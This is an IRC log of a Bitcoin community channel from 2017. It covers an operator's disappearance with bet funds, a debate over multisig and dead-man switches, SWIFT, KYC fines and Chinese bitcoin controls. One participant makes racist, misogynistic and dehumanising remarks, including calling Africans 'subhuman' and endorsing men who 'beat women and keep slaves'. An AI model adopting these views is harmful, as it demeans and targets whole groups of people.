1643494;1492187991;mircea_popescu;ah 1643495;1492187994;mircea_popescu;i skimmed. 1643496;1492188009;asciilifeform;it ain't a mega-fortune, but also not penny on asphalt. 1643497;1492188023;mircea_popescu;i guess tis possible. 1643498;1492188260;asciilifeform;'A SWIFT Service Bureau, is the kind-of the equivalent of the Cloud for Banks when it comes to their SWIFT transactions and messages, the banks transactions are hosted and managed by the SWIFT Service Bureau via an Oracle Database and the SWIFT Softwares. This is why we see that many of those Service Bureau also offer KYC, Compliance, Anti-Laundering services since they have access to all those transactions as their are the host for 1643499;1492188260;asciilifeform;their clients.' << lulzy. 1643500;1492188315;asciilifeform;also run moar winxp. 1643501;1492188421;mircea_popescu;no, oracle, totally different. 1643502;1492188429;asciilifeform;lul 1643503;1492188433;asciilifeform;seems like they use... both 1643504;1492188440;mircea_popescu;twice the safety. 1643505;1492188451;asciilifeform;( sorta like contracting hiv + hepc ) 1643506;1492188571;davout;seems unlikely dude just ran off with ~20 btc 1643507;1492188604;asciilifeform;could have, say, died. 1643508;1492188612;davout;at least if you plan on doing that, at least keep the site up and maximize profit by collecting more 1643509;1492188626;davout;or just, on a week end 1643510;1492188730;lobbes;In other noose: http://www.independent.co.uk/news/world/americas/gbu-43b-mother-of-all-bombs-massive-ordnance-air-blast-afghanistan-isis-a7682996.html 1643511;1492188757;asciilifeform;lobbes: gotta wonder why this is 'news'. similar ordnance was used by brits in ww2, many times 1643512;1492188768;asciilifeform;(it isn't even a gas-air bomb. regular one.) 1643513;1492188802;asciilifeform;under bush II, gas bombs were in use, spectacular fireballs, many pr photos 1643514;1492188818;asciilifeform;(~0, afaik, results on the field) 1643515;1492188858;mircea_popescu;that's good for usgcoin! 1643516;1492188903;asciilifeform;and re bbet, hey mircea_popescu , recall http://btcbase.org/log/2016-08-12#1520195 thread ? 1643517;1492188903;a111;Logged on 2016-08-12 23:17 mircea_popescu: nobody asked you anything of how bitbet's capital is to be used by bitbet. 1643518;1492188911;asciilifeform;one possibility is that znorta gambled the coins -- and lost. 1643519;1492188916;asciilifeform;corzine-style. 1643520;1492188924;mircea_popescu;i suppose. 1643521;1492188932;asciilifeform;*znort 1643522;1492188963;asciilifeform;that's one handy way to 'accidentally' scam. 1643523;1492189242;Framedragger;not arranging if-hit-by-bus switch is irresponsible, hrm 1643524;1492189446;mircea_popescu;Framedragger what % of an operation do you deem should be allocated to pay for that arrangement ? 1643525;1492189455;mircea_popescu;(pro tip : the cost comes out of the fee.) 1643526;1492189471;Framedragger;out of the fee which is 0? 1643527;1492189475;mircea_popescu;so then. 1643528;1492189495;asciilifeform;waiwat, it was 0 ?! 1643529;1492189495;Framedragger;bitbet was/is profitable. 1643530;1492189502;Framedragger;payout fee, he means 1643531;1492189505;mircea_popescu;this "i'm not paying for the drinks and not having better ones is irresponsible" thing only goes so far. 1643532;1492189515;mircea_popescu;Framedragger so if it was 1% of 17 btc that's 200 bux or so ? 1643533;1492189557;mircea_popescu;if you think "switch" as described may cost as much as 1% of the total cost structure, voila, he has a $2 arrangement in place. 1643534;1492189565;Framedragger;200 bux is not absolutely nothing, first off; and second off, 17 btc? was that the profit in the last P&L? honestly don't remember 1643535;1492189585;mircea_popescu;i;ve not been following, guessing based on the alf provided number above. 1643536;1492189587;Framedragger;but i see the point, low profit. 1643537;1492189590;mircea_popescu;i think the concept carries irrespective. 1643538;1492189604;asciilifeform;Framedragger: really, do you think that 200bux is enough to 1) hire 2) retain a substitute operator ?! 1643539;1492189612;asciilifeform;or what arrangement did you picture as 'dead man switch' 1643540;1492189623;mircea_popescu;asciilifeform $2. the remainder 198 are needed for other things. 1643541;1492189646;Framedragger;implementing a procedure to refund all bets if no signature by $key into $system, say. not that it's not easy to fuck this up royally. 1643542;1492189665;mircea_popescu;or have it hijacked. 1643543;1492189666;asciilifeform;Framedragger: you're talking about a 'bbet folds' button 1643544;1492189668;asciilifeform;^ 1643545;1492189670;asciilifeform;mircea_popescu has it 1643546;1492189677;mircea_popescu;you know, by the everfriendly usg, for instance. 1643547;1492189681;asciilifeform;~having~ this device around, is a quite expensive proposition. 1643548;1492189687;Framedragger;maybe. 1643549;1492189688;mircea_popescu;or what, were you going to use an INDEPENDENT website ? 1643550;1492189722;Framedragger;i can think of couple of approaches but i agree that they are not zero-in-cost, so, meh, i concede 1643551;1492189732;mircea_popescu;do they deal well with "blackhole" ? 1643552;1492189734;asciilifeform;there are no sane robotic solutions to this kind of thing. 1643553;1492189773;Framedragger;mircea_popescu: no; neither do they deal with EC backdoors or sun exploding. having a practical but limited-in-scope threat model is not useless in itself. 1643554;1492189788;Framedragger;anyway, i won't argue further. 1643555;1492189799;mircea_popescu;there are, more broadly and more sadly, no robotic human or alien solution s available to dealing with the usgtard to his satisfaction. because he's worth less than a pig and demands more than a duchess. 1643556;1492189867;mircea_popescu;dutches demanding less than a pig would be workable economcially. but chronical rotinculo/mortidafame who imagine they should get the moon on a golden platter, these aren't economically interesting. 1643557;1492189931;trinque;Framedragger: what recourse is there that doesn't involve exposing keys to more than one person, and why is that multiplied risk of absconding more agreeable to you than present circumstances? 1643558;1492189942;mircea_popescu;poor guy. 1643559;1492189946;asciilifeform;Framedragger: there is a very basic fallacy at the root of 'multisig thinking', that somehow you can cut up control over a key and give the pieces to a group, which somehow can 'keep the owner honest' but not (why not?) fuck him 1643560;1492189956;mircea_popescu;a Framedragger walks into a bar, and the bar goes WHAM! 1643561;1492190047;Framedragger;he tries to remedy but laptop battery dies. 1643562;1492190174;Framedragger;trinque: asciilifeform: i did naively 'assume' that one could think of an arrangement when 2-of-2 or similar signature scheme would be 'safe'. 1643563;1492190191;asciilifeform;Framedragger: describe for me, how this works 1643564;1492190198;asciilifeform;and what means 'safe'. 1643565;1492190205;Framedragger;(to be clear: machine-which-can-send-moneys has to sign, and operator has to sign as well. necessarily both.) 1643566;1492190220;Framedragger;'safe' as in usg hacking into machine doesn't do anything. 1643567;1492190225;Framedragger;can't spend coin. 1643568;1492190229;Framedragger;wait. 1643569;1492190232;Framedragger;ah fuck 1643570;1492190234;asciilifeform;does scenario where the coins end up permanently parked in graveyard orbit because the operators refuse to move'em count as 'safety' to Framedragger ?! 1643571;1492190237;asciilifeform;aaaha. 1643572;1492190241;trinque;lel! there's the wham 1643573;1492190255;Framedragger;boy do i abuse this channel 1643574;1492190304;Framedragger;in consideration, machine + operator having keys is not a good idea and the risk is indeed multiplied. 2-of-2 sig doesn't work if one can do basic arithmetic. 1643575;1492190327;asciilifeform;there we go. 1643576;1492190377;Framedragger;yep, the only way this 'may' work if you have a partner whom you fully trust, and the arrangement of which somehow does not involve monetary compensation. which is ~untenable 1643577;1492190404;asciilifeform;these are typically called wives (and even they do not necessarily work as 'ideal spherical wife in textbook' always.) 1643578;1492190412;Framedragger;(larger profitable orgs may be able to implement this, with ample compensation, but, sure, not bbet.) 1643579;1492190418;Framedragger;yeah. 1643580;1492190457;asciilifeform;there is no such thing as purchased honesty, Framedragger 1643581;1492190481;asciilifeform;just like there is no hired suicide belt bomber 1643582;1492190501;Framedragger;heh re. latter, i'm sure there is ("pay my family suicide-money after my death") 1643583;1492190527;asciilifeform;it is never the whole incentive to do the work. 1643584;1492190544;Framedragger;nono, i agree. 1643585;1492190549;asciilifeform;( ~all armies have some form of widow's pension ) 1643586;1492190576;trinque;no such thing as purchased, but probably such thing as "owned" 1643587;1492190580;*;trinque would not be the expert 1643588;1492190598;Framedragger;re. purchased honesty, well i dunno, two business partners entering business arrangement.. that's a thing that happens (cue mp "as we have seen, it doesn't! so can't ever!1") 1643589;1492190619;trinque;I don't think that's an honest interpretation 1643590;1492190620;asciilifeform;multisig crapola is fundamentally about http://btcbase.org/log/2015-12-27#1354404 . 1643591;1492190620;a111;Logged on 2015-12-27 17:38 asciilifeform: 'It is about sending a strong message. I think we may need to start an accreditation scheme for Bitcoin-consensus compliant wallets and services. Through code signing and use of multisig, we can even distinguish transactions made by compliant wallets and non-compliant wallets, and have pools not mine them (or wallets refuse to send to known-non-compliant wallets).' 1643592;1492190625;trinque;see: S.NSA 1643593;1492190639;Framedragger;trinque: i was being facetious. you're right of course 1643594;1492190666;asciilifeform;trinque: i dunno if this is obvious or not, we don't have multi-man keys of any sort at s.nsa 1643595;1492190710;trinque;nono, in re: partnering up in biz 1643596;1492190711;asciilifeform;the collaboration does not pretend to be a living thing on its own, separate from mircea_popescu and asciilifeform 1643597;1492190717;trinque;of course 1643598;1492190729;asciilifeform;see also thread, http://btcbase.org/log/2016-08-16#1522361 1643599;1492190729;a111;Logged on 2016-08-16 13:09 mircea_popescu: oh since i'm thinking about it : there's two specific items tmsr wants to bring to the field of probate reform : a) no juridical person beneficiary. no government, ngo, corporation, trust etc may obtain as much as a farthing from any succession. physical persons only. b) no tax or fee of any kind may be levied against succession. 1643600;1492190736;*;trinque was taking the shears to an overly broad statement. 1643601;1492190772;trinque;having separate identities is a sanity requirement of doing any business 1643602;1492190777;deedbot;http://www.contravex.com/2017/04/14/was-it-worth-it/ << » Contravex: A blog by Pete Dushenski - Was it worth it? 1643603;1492190914;asciilifeform;278.73 BTC << notbad 1643604;1492190950;trinque;Framedragger: better odds for good outcome in business partnership if you had a preceeding relationship with the guy eh? 1643605;1492190982;asciilifeform;( re multisig, see also, e.g., http://btcbase.org/log/2015-12-10#1340332 . ) 1643606;1492190982;a111;Logged on 2015-12-10 14:26 asciilifeform: none of the idiot heresies are even in any sense new. 'multisig', for instance, is simply 1990s clinton key escrow, 'old wine in new bottle' 1643607;1492191120;Framedragger;trinque: didn't understand the reference hm, but (necessarily and totally) yes?.. 1643608;1492191161;*;Framedragger bbl 1643609;1492192283;trinque;Framedragger: I'm disputing that business partnership is definitionally "purchased honesty" 1643610;1492192306;Framedragger;ah. yeah i concede/agree. 1643611;1492192329;asciilifeform;'purchased honesties' give you, e.g., carl force. 1643612;1492193593;mircea_popescu;http://btcbase.org/log/2017-04-14#1643576 << and let me guess, i'm supposed to expose this incredibly rare and expensive resource for the benefit of the redditard peons, who don't want to pay for it but DO want to make random claims because hey, gotta make a claim to exist and research of any description is way above their pay grade ? 1643613;1492193593;a111;Logged on 2017-04-14 17:19 Framedragger: yep, the only way this 'may' work if you have a partner whom you fully trust, and the arrangement of which somehow does not involve monetary compensation. which is ~untenable 1643614;1492193620;mircea_popescu;yes, some people have others who'd die for them. why the fuck would they let $rando into that club again ? 1643615;1492193661;mircea_popescu;what, some kind of "we're all gonna share things" ? 1643616;1492193719;mircea_popescu;http://btcbase.org/log/2017-04-14#1643578 << no. AGAIN. large orgs ie your usg.* friends CAN NOT impl;ement this. MPs can implemenrt this, ie men who beat women and keep slaves. they AND THEM ONLY may implement this. 1643617;1492193719;a111;Logged on 2017-04-14 17:20 Framedragger: (larger profitable orgs may be able to implement this, with ample compensation, but, sure, not bbet.) 1643618;1492193744;mircea_popescu;utter and complete monopoly, no bureaucracy may have the wonder in the future nor ever had it in the past. 1643619;1492193884;ben_vulpes;yeah who in fiatorg holds keys? controller? ceo? 1643620;1492193906;ben_vulpes;goes against the whole grain of how those systems work. single accountable individual with life and death power. 1643621;1492193945;mircea_popescu;http://btcbase.org/log/2017-04-14#1643603 << holy, was that more than it held before ? 1643622;1492193945;a111;Logged on 2017-04-14 17:28 asciilifeform: 278.73 BTC << notbad 1643623;1492193977;asciilifeform;pete_dushenski's arithmetic. i did not massage it. 1643624;1492194000;mircea_popescu;znort is female ? 1643625;1492194007;asciilifeform;he seems to think so. 1643626;1492194024;asciilifeform;( i have nfi why ) 1643627;1492194064;mircea_popescu;there was a very talented (also female) scammer early on, made a "fund" called "obsi" something. very soft approach, also quietly disappeared. 1643628;1492194090;asciilifeform;very quietly. i dun recall any discussion of this. or maybe it was before i tuned in. 1643629;1492194112;mircea_popescu;was 2012 yes. 1643630;1492194117;asciilifeform;( most of the chumpatronic 'wonders of the world' in btc seem to have happened prior to asciilifeform tuning in ) 1643631;1492194123;mircea_popescu;!#s "obsi" 1643632;1492194124;a111;2894 results for "\"obsi\"", http://btcbase.org/log-search?q=%22obsi%22 1643633;1492194141;mircea_popescu;http://btcbase.org/log/2013-03-20#-69718 1643634;1492194141;a111;Logged on 2013-03-20 20:17 pigeons: usagi had 3 different risk profiles for his cdos, and he bought OBSI.HYPT (High Yield Pass Through into secret business model now run away with the money) in the EXTREMELY LOW RISK group 1643635;1492194158;asciilifeform;lul, 'high yield'+'low risk' 1643636;1492194171;mircea_popescu;hey, it is EXACTLY what the usg banking world did. 1643637;1492194175;asciilifeform;in kindergarten one learns that that's what defines scam 1643638;1492194177;mircea_popescu;they got bailed for it. 1643639;1492194222;asciilifeform;a very selected 'they', and - naturally - with fresh printolade 1643640;1492194237;asciilifeform;did anyone actually expect a similar event in btcdom ? 1643641;1492194250;asciilifeform;what would that even look like. 1643642;1492194258;mircea_popescu;yea well. 1643643;1492194382;asciilifeform;the quoted text is hilarious per se : if i say 'invest in this High Thrust antigrav engine, with Extremely Low Energy Cost energy intake' -- everyone will laugh. but if mr.suavetalker offers a 'High Yield Pass Through ... in the EXTREMELY LOW RISK group' financial instrument, greedy idiots jump over one another to buy,buy 1643644;1492194401;asciilifeform;with 0 demand of proof of whatever kind. 1643645;1492194470;asciilifeform;this is why, when reading about the early (1st 3 or so yrs) bitcoin landscape, i found it hard to feel any sympathy for the scamola victims 1643646;1492194480;mircea_popescu;it was a painful and sad process, being disabused of the notion that average human is capable to tribune (ie, maintain law, complicated discussion i won't go into) via the rota experiment AND the notion that average human is capable to praetor (ie, administer resoruces) via the whole bitcoin finance/investment/profits/etc thing. 1643647;1492194488;asciilifeform;they were willing participants in pyramids, it seems clear to me 1643648;1492194519;mircea_popescu;the disappointments to the latter are indeed far reaching. cosnider someone like say death & taxes, http://trilema.com/2015/gerald-davis-is-wrong-heres-why/ 1643649;1492194542;mircea_popescu;man has a handle that suggests he groks it ; then has government steal his fucking business ; then goes on to... propiose & defend empire. 1643650;1492194559;mircea_popescu;it's just... people aren't made for this world ; they properly belong in the grave and not perambling ab out. 1643651;1492194744;mircea_popescu;but let's just say that mp started bitcoin cca 2011 as a very classical liberal. it didn't survive long. 1643652;1492194818;asciilifeform;on other hand, early bitcoin did not exactly attract 'cream of mankind' 1643653;1492194826;mircea_popescu;oh ? and why not ? 1643654;1492194832;asciilifeform;now this i do not know. 1643655;1492194836;asciilifeform;but it didn't. 1643656;1492194841;mircea_popescu;no, no, i mean on what do you base this assertion. 1643657;1492194858;mircea_popescu;seems to me assuming that it did attract the very cream of mankind is very safe indeed. 1643658;1492194866;asciilifeform;probably ought to be more specific : early ~public bitcoin~ atmosphere was not 'cream' of anything. 1643659;1492194875;mircea_popescu;and on what do you base yourself ? 1643660;1492194909;asciilifeform;ahahaha is this when mircea_popescu will explain that 'pirate is the cream, the ubermensch' ? 1643661;1492194930;mircea_popescu;looky, that you don't like what the cream looks like dun excuse you from having to admit. they found it, yes ? definitionally cream. 1643662;1492194944;mircea_popescu;ie, better than all the lazy fucks sitting on ass dreaming their jwz/djb dream 1643663;1492194999;mircea_popescu;but yes, i will say pirate, for all his warts, dpb, fucktarded ustard teen as he was, and the whole rest of the menagerie are better people than pick your pick. obama. hillary. nuland. whatever 5k dickless drones are sitting around wash dc offices reading this now. all of everyone 1643664;1492195010;mircea_popescu;certainly better than any subhuman africans toiling with the donkeys. 1643665;1492195013;mircea_popescu;and on it goes. 1643666;1492195038;mircea_popescu;the sad, dirty secret of humanity is that the very cream of it ain't fit to shine shoes. 1643667;1492195049;asciilifeform;hilaries ain't cream of anything. 1643668;1492195052;asciilifeform;nor gorbys. 1643669;1492195066;asciilifeform;fundamentally just another sort of pirate40. 1643670;1492195078;mircea_popescu;what can i tell you. 1643671;1492195236;asciilifeform;likewise i suspect that mircea_popescu's (or, say, mark twain's) positive view of 'good con men' is also 'fata morgana', mirage, con men is not necessarily a 'force of will' ubermensch, he is every bit a creature of the times and the opportunity, the rat crevice in which he finds himself, as is any clinton. 1643672;1492195251;mircea_popescu;i was not proposing anything of the sorty. 1643673;1492195266;mircea_popescu;i was simply saying, thr 50 that found the door are definitionally and for that reason alone better than all the others. 1643674;1492195289;mircea_popescu;there is no "oh, i was busy with my dick" excuse to explain why couldn't find way out of paper bag. 1643675;1492195345;asciilifeform;mno. if a broken oak trunk made its way from europe to 'new world' pre columbus, it does not follow that oak is great navigator. 1643676;1492195351;mircea_popescu;what, you expect kakobrekla will be remembered for anything other than "oh, the dude who couldn't swing being part of bitbet" ? for what exactly, he's gonna accomplish what in his life to compensate for that failure, cold fucking fusion ? 1643677;1492195363;mircea_popescu;there's very little leeway in teh cold equations for the usual human bullshit. 1643678;1492195372;mircea_popescu;asciilifeform it does so follow, yes. 1643679;1492195376;asciilifeform;mircea_popescu: pretty sure d00d transitioned to 'model airplane' mode, and has no intention of 'remembered' 1643680;1492195393;mircea_popescu;yawell. he is not in charge of his own life in this sense. what intentions he has matter not one wit. 1643681;1492195452;mircea_popescu;conceivably quisling also had "no intention of being remembered". 1643682;1492195466;asciilifeform;mircea_popescu: a man can be a navigator. a piece of dead wood -- is, whatever else it is, not a navigator. i did not think this would be controversial. 1643683;1492195475;mircea_popescu;it is controversial. 1643684;1492195485;mircea_popescu;hanbot no way ?! 1643685;1492195489;mircea_popescu;common italian word wtf. 1643686;1492195496;mircea_popescu;oh i misspelled it did i. 1643687;1492195505;asciilifeform;waiwat 1643688;1492195583;asciilifeform;mircea_popescu: recall naggum's (and then -- our) discussion re how computing was wrecked not so much by microshit per se (which in 1980s was not a mega-power) but by the idiot worship of gates and his lottery winner 'success' ? 1643689;1492195591;mircea_popescu;ok ? 1643690;1492195599;asciilifeform;it is exactly the oak. 1643691;1492195623;mircea_popescu;it really dun make difference if "one got lucky". symbolics is still dead ON ITS OWN MERITS. 1643692;1492195637;mircea_popescu;this because "luck" and skill are indistinguishable for the unskilled. 1643693;1492195646;asciilifeform;'was scum, but he grabbed the brass ring, where were you' gives you cockroach world. 1643694;1492195769;mircea_popescu;there's no way out of it. grab the brass ring, there's no way to excuse it. 1643695;1492195782;asciilifeform;incidentally, putting up framed pictures of lottery winners, praying at their feet, etc. does nothing per se, is harmless. it is when n00bs begin to try to 'learn' from them, there comes problem. 1643696;1492195792;asciilifeform;the microshit thing was a civilization-scale disaster, and it continues. 1643697;1492195802;mircea_popescu;i'm sure there's right now all sorts of ~in their own mind~ important smart useful whatever folk. they're not in the wot, they don't exist, and this inexistence of theirs WILL COUNT AGAINST THEM 1643698;1492195806;hanbot; dutches demanding less than a pig would be workable economcially. but chronical rotinculo/mortidafame who imagine they should get the moon on a golden platter, these aren't economically interesting. << googled rotinculo definition, got a suggestion of trilema articles to read 1643699;1492195810;mircea_popescu;where were you is the first legitimate question. 1643700;1492195820;mircea_popescu;hanbot :p 1643701;1492195836;hanbot;s'about a 50% chance a googling a given unknown word in a #t article yields...just moar t articles. 1643702;1492195843;asciilifeform;mircea_popescu: and the answer can be 'i was in the laboratory, creating the things that the scum later stole' 1643703;1492195849;mircea_popescu;it';s a maaaan's world.... 1643704;1492195859;mircea_popescu;asciilifeform and maybe we'll opt to credit this. or maybe we won't. 1643705;1492195870;mircea_popescu;shoulda followed the topic. the topic is there for a reason. 1643706;1492195881;asciilifeform;in mircea_popescu's conception, only a thief is 'a man' ? 1643707;1492195884;mircea_popescu;gotta pass bacalaureat before may even consider going tinto laboratory. 1643708;1492195894;mircea_popescu;asciilifeform no. in mp's conception, lab does not take all comers. 1643709;1492195898;mircea_popescu;EVEN if they think it does. 1643710;1492195909;asciilifeform;expand plox 1643711;1492195962;mircea_popescu;in order for item to go into lab, item must first pass maturity exam. become man as opposed to child. See http://trilema.com/2016/how-to-participate-in-the-affairs-of-the-most-serene-republic/ is there for a reason. 1643712;1492195980;asciilifeform;hanbot: at one point i tried to unearth what rotinculos (other than a portmanteau, presumably, rotten arse) were , and gave up 1643713;1492195981;mircea_popescu;that reason is, "infantile delusion of having been in lab before completing the basic steps ARE NAUGHT BUT INFANTILE DELUSIONS."\ 1643714;1492196013;mircea_popescu;asciilifeform it's about what you'd call a twink in english, ie a teenaged gay prostitute. generally applied to the aged variant nobody anymore seriously contemplates paying for. 1643715;1492196017;mircea_popescu;literally "broken in the ass". 1643716;1492196029;asciilifeform;mircea_popescu: there was not a tmsr in '09. bitcoin was quite equivalent, by afaik any possible litmus, to similar crackpotteries which were known then. 1643717;1492196033;hanbot;aha! 1643718;1492196036;mircea_popescu;but today there is. 1643719;1492196052;asciilifeform;i thought thread was re: the age of the great pirates. 1643720;1492196058;asciilifeform;rather than today. 1643721;1492196060;mircea_popescu;that was 2012. 1643722;1492196083;asciilifeform;no tmsr in '12 either 1643723;1492196090;mircea_popescu;and you know what, that "there wasn't" is scarcely any excuse. why didn't they make it, these MEN ? if they're so respectable and errything. 1643724;1492196107;asciilifeform;why didn't h. hertz make a radio ? 1643725;1492196118;asciilifeform;or , better, maxwell . 1643726;1492196120;mircea_popescu;what, you think i'm excusing him in my mind ? i'm not. fuck him. 1643727;1492196139;asciilifeform;btw marconi was a pretty good example of 'opportunistic thief' 1643728;1492196157;asciilifeform;exactly the gates of his time 1643729;1492196169;mircea_popescu;i am also not impressed with wozniak's teary stories. 1643730;1492196182;asciilifeform;nor i 1643731;1492196184;mircea_popescu;shoulda been less fucktarded. 1643732;1492196194;asciilifeform;wozniak wasn't an originator of anything serious 1643733;1492196218;mircea_popescu;there isn't going to be a divine kingdom of the heavens insulating dumb bitches from their inept choices in locales to get drunk into and badly washed dorks from their inept choices in whom to submit to and what to obey. 1643734;1492196233;mircea_popescu;you eat too much, you get fat ; you jwz, you get pissed on. shouldn't be so hard. 1643735;1492196260;mircea_popescu;asciilifeform to hear him recount it, he was the maxwell/hertz of job's marconi or some such. 1643736;1492196281;asciilifeform;and to hear the inmates, in every asylum - 100 napoleons 1643737;1492196301;mircea_popescu;so then. 1643738;1492196312;asciilifeform;woz drew up a 6502 box with slightly reduced glue logic chip count, vs the state of art at the time. about same level of accomplishment as, e.g., fuckgoats. 1643739;1492196323;asciilifeform;not a maxwell, no. 1643740;1492196331;mircea_popescu;the overarching point is that technical merit doesn't enter into this. 1643741;1492196363;mircea_popescu;and i have every intention to credit everything to the first wot person to bring it up, not to the "originator". fuck him. should have had a wot. 1643742;1492196406;asciilifeform;thread wasn't about 'which one gets into valhalla, maxwell or marconi', however. i specifically assert that n00bs ~learning~ from the thief -- whose achievement is essentially accidental, quite destructive overall to everybody else, and at any rate in no sense ~replicable~ -- vs from the maxwell - is the problem. 1643743;1492196445;mircea_popescu;noobs learning from anything, be it a thief, be it their mother, be it hillary clinton, be it bernstein, be it ANYONE is very harmful to them. 1643744;1492196468;mircea_popescu;See http://trilema.com/2016/how-to-participate-in-the-affairs-of-the-most-serene-republic/ is there for a reason. there's NO OTHERR WAY to learn. 1643745;1492196505;asciilifeform;can learn , e.g., galois theory, from the l0gz ? 1643746;1492196509;asciilifeform;how about mig pilotage ? 1643747;1492196514;mircea_popescu;you do not start with galois theoryu. 1643748;1492196528;mircea_popescu;and you MAY NOT pretend you're not at the start if you are at the start. 1643749;1492196535;mircea_popescu;there's no self-appointed graduation. 1643750;1492196536;asciilifeform;you start with alphabet. which i dun recall being taught here, either 1643751;1492196551;mircea_popescu;on occasion. see 1643752;1492196557;mircea_popescu;!#s alphabet 1643753;1492196558;a111;147 results for "alphabet", http://btcbase.org/log-search?q=alphabet 1643754;1492196576;asciilifeform;( and if only alphabet. there is a quite serious qualification to meaningfully starting to learn from the l0gz, yes ) 1643755;1492196612;mircea_popescu;it's self contained. you learn what you need by confronting the things here you don't know. 1643756;1492196630;mircea_popescu;this "oh, but mp, i'm interested in other things, i'm speshul" is more adlaism bullshit. THERE AREN'T OTHER THINGS. 1643757;1492196674;asciilifeform;we had, iirc, a 'problems of the age' thread 1643758;1492196683;mircea_popescu;i think so. 1643759;1492196692;asciilifeform;( where, e.g. in 1890s they were flight, radio, few other lessers ) 1643760;1492196728;asciilifeform;today - 'trb-i', ciphers of known strength, a few others. 1643761;1492196750;asciilifeform;it is not even clear which these are, except in retrospect. 1643762;1492196787;asciilifeform;( if 1890s folx had given up on airplane, same way today's grant-eaters gave up on, e.g., room-temp superconductor, could have gone quite differently ) 1643763;1492196887;asciilifeform;btw the 'beta decay can be arbitrarily sped up in magnetic field' throws a bit of new light on just how 'strange, new' a world with roomtemp supercon would be. 1643764;1492196936;asciilifeform;( suddenly you have, e.g., an intrinsically-safe (cut the field - cuts the reaction) betavoltaic reactor that fits in pocket, runs on ordinary KCl... ) 1643765;1492197148;deedbot;http://qntra.net/2017/04/french-financial-regulatorast-fines-payment-service-provider-over-bitcoin-business/ << Qntra - French Financial Regulatorast Fines Payment Service Provider Over Bitcoin Business 1643766;1492197185;asciilifeform;'failure to collect KYC paperwork for 34 customers, failure to report 9 customers to legal enforcement on suspicions of money laundering, and failure to further interrogate 20 customers, for which the declared wealth allegedly didn't match the transaction volumes.' << lol! 1643767;1492197198;mircea_popescu;heh 1643768;1492197216;mircea_popescu;"aml/kyc" is for the birds, to be very plain. 1643769;1492197237;mircea_popescu;why the fuck would anyone deal with the sort of schmucks that do thjat in the first place, i have no idea. 1643770;1492197291;asciilifeform;'why would anyone' live on boiled cabbage, wear a striped pajama all year long ? maybe because in a prison ? 1643771;1492197299;mircea_popescu;i guess. 1643772;1492197884;hanbot; why the fuck would anyone deal with the sort of schmucks that do thjat in the first place, i have no idea. << sure you do, people just love easy-to-complete tasks that earn them an "everything's okay" signal from authority. even if that authority consists of a crayon-drawn badge paperclipped to dork's lapel @ supermarket exit. 1643773;1492197896;mircea_popescu;there is htat. 1643774;1492197904;mircea_popescu;the grues won't come to eat them in the night eh. 1643775;1492198150;Framedragger;!!up airgapped 1643776;1492198150;deedbot;airgapped voiced for 30 minutes. 1643777;1492198184;mircea_popescu;and in other guides for noobs, http://68.media.tumblr.com/3d93c7f98cd625c06261e4143016bbbc/tumblr_oc9mfsRLOZ1vrs34so1_400.gif 1643778;1492198274;asciilifeform;mircea_popescu: does there in fact exist a 'free world' of non-kyctronic fiatola banking ? 1643779;1492198280;mircea_popescu;sure. 1643780;1492198323;asciilifeform;( ...china? ) 1643781;1492198335;mircea_popescu;yep. 1643782;1492198338;davout;in china even bitcoins are locked down 1643783;1492198345;asciilifeform;davout: goxcoins 1643784;1492198356;asciilifeform;( how would you 'lock down bitcoin' lol ) 1643785;1492198373;davout;tell exchanges "don't send them, or else" 1643786;1492198405;davout;see http://qntra.net/2017/04/30-day-constipation-of-chinese-fiatbitcoin-interfaces-continues-well-beyond-30-days/ 1643787;1492198407;mircea_popescu;you can lift a million in cash off the chinese doing supermarkets offshore for instance, on a few hour's notice. 1643788;1492198484;mircea_popescu;all sorts of things work as cp, including bitcoin, heads of usg "operatives", etc. 1643789;1492198542;asciilifeform;davout: ergo goxcoin 1643790;1492198557;asciilifeform;if you didn't generate the privkey for it -- it ain't bitcoin 1643791;1492198600;asciilifeform;this strange notion, that you can have a 'your' bitcoin where privkey is held by somebody else, is a serious problem imho. 1643792;1492198619;*;Framedragger developing product to make real estate investment for chinese easier, actually. will report results and types of failure if any and if possible.. 1643793;1492198647;mircea_popescu;for my curiosity, are you developing this "product" because a chinese dude told you so ? 1643794;1492198651;asciilifeform;Framedragger: i can hardly picture how it could be any easier, iirc they already de facto own ~all real estate anywhere that is for sale 1643795;1492198674;Framedragger;mircea_popescu: chinese and other (e.g., south korean) bankers told a dude whom i believe in and who's paying me 1643796;1492198680;mircea_popescu;works then 1643797;1492198743;davout;asciilifeform: they're being forced not to honor IOUs to be very precise 1643798;1492198772;Framedragger;asciilifeform: plenty of real estate in western yurop still up for sale. a *lot* of it may crash soon, but 'pockets' of it (e.g., specific places in italy (which in itself may / will crash, depending on your outlook) may be good investment, and they acknowledge that 1643799;1492198790;Framedragger;) 1643800;1492198951;Framedragger;(obvs if this 'works out' -- remains to be seen...) 1643801;1492198971;asciilifeform;davout: from my (admittedly distant) chair, it'd appear that chinese gov strategy was, roughly, 'this bitcoin heresy, let's wait for the americans to kill it, it's the kind of wetwork they specialize in'. and when this failed, now they smell burning flesh, 'looks like gotta do everything ourselves' 1643802;1492199619;BingoBoingo;http://oglaf.com/pseudopods/ 1643803;1492199634;BingoBoingo;http://oglaf.com/jocasta/ 1643804;1492199672;BingoBoingo;http://oglaf.com/ermine-shadow/ 1643805;1492199747;BingoBoingo;http://oglaf.com/zoorp/ 1643806;1492199777;mircea_popescu;o wow they got active huh 1643807;1492199945;Framedragger;hah transcendent sex academy.. so in that realm in the comic, when dude puts transcendentally-ideal penis in vagina.. is that the infamous 'synthetic a priori' act?? 1643808;1492199950;*;Framedragger tried to joke 1643809;1492199988;asciilifeform;modern chinese gov is smarter than mao's, won't hamhandedly dekulakize, nationalize the mining farms. will instead drive them slightly farther into -ev , and they will simply be sold off to pliant shell corps 1643810;1492200249;BingoBoingo;mircea_popescu: I think I just got forgetful. Weather's been good for playing in dirt. 1643811;1492207126;CompanionCube;mircea_popescu: you run mysql right? 1643812;1492207135;CompanionCube;http://riddle.link/ 1643813;1492210166;ben_vulpes;> Are you blind? Don't you see the above logo? It is an indisputable fact that it is a critical vulnerability available on the Internet. 1643814;1492210169;ben_vulpes;god i hate this shit 1643815;1492214969;mod6;heheh 1643816;1492215049;mircea_popescu;CompanionCube mp-wp for instance. 1643817;1492216702;mircea_popescu;"How do I use SSL encryption properly?" "SSL (resp. TLS, as SSL v2/v3 is already broken but name SSL is commonly used for TLS protocol) implementation or protocol itself isn't affected" 1643818;1492216714;mircea_popescu;i lulzed. really ? how about DO NOT USE "SSL". 1643819;1492216767;ben_vulpes;b-but mircea_popescu how is one supposed to authenticate to a database server over the webternet? 1643820;1492216771;mircea_popescu;ben_vulpes who exactly is this guy anyway ? 